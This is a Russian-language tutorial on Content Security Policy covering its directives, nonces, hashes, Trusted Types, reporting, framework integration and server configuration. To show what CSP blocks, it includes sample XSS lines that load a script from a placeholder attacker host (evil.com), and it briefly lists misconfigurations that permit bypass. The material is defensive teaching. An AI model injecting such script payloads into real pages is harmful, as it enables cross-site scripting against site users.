Content Security Policy

Content Security Policy (CSP) — механизм безопасности браузера, предназначенный для предотвращения атак, связанных с внедрением вредоносного кода в веб-приложение. Основная задача CSP — ограничить источники загрузки ресурсов и выполнение потенциально опасного содержимого.

CSP особенно эффективен против:

  • XSS (Cross-Site Scripting)
  • data injection
  • загрузки вредоносных скриптов
  • подмены ресурсов
  • clickjacking
  • небезопасных inline-скриптов

Политика безопасности задаётся сервером через HTTP-заголовок:

Content-Security-Policy: default-src 'self';

или через HTML-метатег:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

Предпочтительным вариантом считается HTTP-заголовок, поскольку метатег обрабатывается только после загрузки HTML-документа.


Принцип работы CSP

Браузер анализирует политику безопасности и сравнивает её с каждой попыткой:

  • загрузить ресурс;
  • выполнить скрипт;
  • подключить шрифт;
  • отправить запрос;
  • встроить iframe;
  • применить стили.

Если действие нарушает правила CSP, браузер блокирует его выполнение.

Пример:

Content-Security-Policy: script-src 'self'

Разрешено:

<script src="/app.js"></script>

Запрещено:

<script src="https://evil.com/hack.js"></script>

Структура политики

Политика состоит из директив.

Общий формат:

Content-Security-Policy: директива значение; директива значение;

Пример:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' cdn.example.com;
  img-src *;

Директива default-src

default-src определяет источник по умолчанию для всех типов ресурсов, если специализированная директива отсутствует.

Пример:

Content-Security-Policy: default-src 'self';

Разрешены только ресурсы текущего домена.


Источники ресурсов

'self'

Текущий origin:

default-src 'self'

*

Любой источник:

img-src *

Используется редко, поскольку снижает безопасность.


Конкретный домен

script-src https://cdn.example.com

Поддомены

script-src https://*.example.com

Протокол

img-src https:

Разрешены изображения только по HTTPS.


'none'

Полный запрет:

object-src 'none'

data:

Разрешение data URI:

img-src data:

blob:

Разрешение Blob URL:

worker-src blob:

Основные директивы CSP

script-src

Контролирует JavaScript.

script-src 'self'

style-src

Контролирует CSS.

style-src 'self'

img-src

Источники изображений.

img-src 'self' https://images.example.com

font-src

Источники шрифтов.

font-src 'self'

connect-src

Исходящие соединения:

  • fetch
  • XMLHttpRequest
  • WebSocket
  • EventSource
connect-src api.example.com

media-src

Аудио и видео:

media-src media.example.com

object-src

Flash, plugins, embed.

Современные приложения обычно полностью запрещают:

object-src 'none'

frame-src

Разрешённые iframe:

frame-src youtube.com

child-src

Устаревающая директива для iframe и worker.


worker-src

Контролирует Web Workers:

worker-src 'self'

manifest-src

Источники web manifest:

manifest-src 'self'

base-uri

Ограничивает <base>:

base-uri 'none'

form-action

Разрешённые URL отправки форм:

form-action 'self'

frame-ancestors

Защита от clickjacking.

Определяет, кто может встроить страницу в iframe.

frame-ancestors 'none'

Разрешить только собственный сайт:

frame-ancestors 'self'

sandbox

Изоляция документа:

sandbox allow-scripts

Inline JavaScript и CSP

Одной из главных целей CSP является блокировка inline JavaScript.

Запрещается:

<script>
  alert('XSS');
</script>

Также запрещаются inline-обработчики:

<button oncl ick="run()">

Причина — XSS-уязвимости часто используют именно inline-код.


Разрешение inline-кода через nonce

nonce — случайный одноразовый токен.

HTTP-заголовок:

Content-Security-Policy: script-src 'nonce-abc123'

HTML:

<script nonce="abc123">
  console.log('safe');
</script>

Если nonce совпадает — выполнение разрешается.

Nonce должен:

  • генерироваться на сервере;
  • быть криптографически случайным;
  • меняться при каждом запросе.

Разрешение inline-кода через hash

Разрешение возможно через SHA-хеш содержимого скрипта.

Политика:

script-src 'sha256-xxyyzz'

Браузер вычисляет hash содержимого inline-скрипта и сравнивает его с CSP.

Преимущество:

  • не нужен динамический nonce.

Недостаток:

  • изменение скрипта требует пересчёта hash.

unsafe-inline

script-src 'unsafe-inline'

Разрешает inline JavaScript.

Практически полностью ослабляет защиту CSP.

Использование крайне нежелательно.


unsafe-eval

Разрешает:

  • eval()
  • new Function()
  • setTimeout(string)
script-src 'unsafe-eval'

Опасно с точки зрения XSS.


strict-dynamic

Позволяет доверять скриптам, загруженным доверенным скриптом.

Пример:

script-src 'nonce-random' 'strict-dynamic'

Современный подход для крупных SPA-приложений.


Trusted Types

Дополнительный механизм защиты от DOM XSS.

Пример:

require-trusted-types-for 'script'

Trusted Types ограничивают опасные DOM API:

  • innerHTML
  • outerHTML
  • insertAdjacentHTML
  • eval

CSP и XSS

Без CSP

Уязвимый код:

element.innerHTML = userInput;

Атакующий может передать:

<script src="https://evil.com/xss.js"></script>

Скрипт выполнится.


С CSP

Политика:

Content-Security-Policy: script-src 'self'

Внешний скрипт будет заблокирован.

Даже при наличии XSS последствия становятся значительно меньше.


CSP Report Only

Режим тестирования политики.

Заголовок:

Content-Security-Policy-Report-Only:
  default-src 'self';

Политика не блокирует ресурсы, а только сообщает о нарушениях.

Полезно при постепенном внедрении CSP.


Отправка отчётов CSP

report-uri

Устаревающий механизм:

report-uri /csp-report

report-to

Современный вариант:

report-to csp-endpoint

Пример:

Reporting-Endpoints:
  csp-endpoint="https://example.com/csp-report"

Пример полноценной политики

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-random123';
  style-src 'self';
  img-src 'self' dat a:;
  connect-src 'self' api.example.com;
  object-src 'none';
  base-uri 'none';
  frame-ancestors 'none';

CSP и React

React уменьшает риск XSS благодаря экранированию JSX.

Однако опасность появляется при использовании:

dangerouslySetInnerHTML

CSP помогает ограничить последствия подобных ошибок.

Для React-приложений часто используются:

script-src 'self' 'nonce-...'

CSP и Angular

Angular имеет встроенную защиту от XSS.

Дополнительную безопасность обеспечивают:

  • DomSanitizer
  • Trusted Types
  • CSP

Angular CLI может автоматически генерировать nonce.


CSP и Vue

Vue также экранирует шаблоны.

Опасность возникает при:

v-html

CSP предотвращает выполнение внедрённого JavaScript.


CSP и WebAssembly

Некоторые сценарии требуют:

script-src 'wasm-unsafe-eval'

Без этого WebAssembly может блокироваться CSP.


CSP и CDN

Если приложение использует CDN:

script-src 'self' https://cdn.jsdelivr.net

Важно явно перечислять доверенные домены.


CSP и Google Fonts

Пример:

style-src 'self' https://fonts.googleapis.com;
font-src https://fonts.gstatic.com;

CSP и WebSocket

connect-src wss://api.example.com

CSP и iframe

Разрешение iframe:

frame-src https://www.youtube.com

CSP и Service Worker

worker-src 'self'

CSP Level 1, 2, 3

CSP Level 1

Базовые директивы:

  • default-src
  • script-src
  • style-src

CSP Level 2

Добавлены:

  • nonce
  • hash
  • child-src

CSP Level 3

Добавлены:

  • strict-dynamic
  • worker-src
  • Trusted Types integration

Типичные ошибки CSP

Слишком мягкая политика

Плохо:

script-src *

Использование unsafe-inline

script-src 'unsafe-inline'

Использование unsafe-eval

script-src 'unsafe-eval'

Отсутствие object-src

Следует явно запрещать:

object-src 'none'

Отсутствие frame-ancestors

Уязвимость к clickjacking.


Внедрение CSP по этапам

Этап 1

Report Only:

Content-Security-Policy-Report-Only:
  default-src 'self'

Этап 2

Сбор нарушений.


Этап 3

Исправление inline-кода.


Этап 4

Добавление nonce/hash.


Этап 5

Переход в blocking mode.


CSP в Node.js (Express)

Пример через Helmet:

import helmet from 'helmet';

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      objectSrc: ["'none'"],
    },
  })
);

CSP в Nginx

add_header Content-Security-Policy "
  default-src 'self';
  script-src 'self';
  object-src 'none';
";

CSP в Apache

Header set Content-Security-Policy "
  default-src 'self';
"

CSP и Subresource Integrity

CSP часто используется вместе с SRI.

Пример:

<script
  src="https://cdn.example.com/app.js"
  integrity="sha384-abc"
  crossorigin="anonymous">
</script>

SRI проверяет целостность файла.


CSP и безопасность SPA

SPA-приложения активно используют:

  • динамический DOM;
  • API;
  • lazy loading;
  • runtime scripts.

Для них особенно важны:

  • nonce;
  • strict-dynamic;
  • Trusted Types;
  • запрет unsafe-inline.

CSP и Third-Party Scripts

Сторонние скрипты:

  • аналитика;
  • реклама;
  • виджеты;
  • чаты.

Каждый внешний домен увеличивает поверхность атаки.

Рекомендуется:

  • минимизировать количество внешних источников;
  • ограничивать конкретные домены;
  • использовать SRI;
  • регулярно проверять список разрешённых origin.

Отладка CSP

Браузеры выводят ошибки CSP в DevTools.

Пример сообщения:

Refused to load the script because it violates the following Content Security Policy directive...

Полезные инструменты:

  • Chrome DevTools
  • Firefox DevTools
  • CSP Evaluator
  • Report URI

CSP Evaluator

Инструмент от Google для анализа политики CSP.

Проверяет:

  • unsafe-inline
  • wildcard
  • слабые настройки
  • потенциальные обходы защиты

Рекомендуемая строгая политика

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-random';
  style-src 'self';
  img-src 'self' dat a:;
  connect-src 'self';
  font-src 'self';
  object-src 'none';
  base-uri 'none';
  frame-ancestors 'none';
  form-action 'self';
  upgrade-insecure-requests;

upgrade-insecure-requests

Автоматически заменяет HTTP на HTTPS:

upgrade-insecure-requests

block-all-mixed-content

Блокирует небезопасный HTTP-контент внутри HTTPS-страницы:

block-all-mixed-content

Взаимодействие CSP с CORS

CSP и CORS решают разные задачи.

CSP

Определяет:

  • что можно загружать;
  • откуда можно выполнять ресурсы.

CORS

Определяет:

  • кто может читать ответы сервера.

Взаимодействие CSP с Same-Origin Policy

Same-Origin Policy ограничивает доступ JavaScript между origin.

CSP дополнительно ограничивает загрузку и выполнение ресурсов.


CSP bypass techniques

Некоторые неправильные настройки могут позволить обход CSP.

Примеры:

  • доверие ко всем поддоменам;
  • JSONP endpoints;
  • unsafe-inline;
  • доверие CDN с пользовательским контентом.

Практические рекомендации

Использовать nonce вместо unsafe-inline

Хорошо:

script-src 'nonce-random'

Плохо:

script-src 'unsafe-inline'

Запрещать object-src

object-src 'none'

Использовать HTTPS

default-src https:

Минимизировать внешние домены

Каждый новый origin увеличивает риск.


Использовать Report Only перед внедрением

Это позволяет избежать поломки приложения.


Комбинировать CSP с другими механизмами

CSP наиболее эффективен вместе с:

  • HttpOnly cookies
  • SameSite cookies
  • Trusted Types
  • SRI
  • X-Frame-Options
  • CORP
  • COOP
  • COEP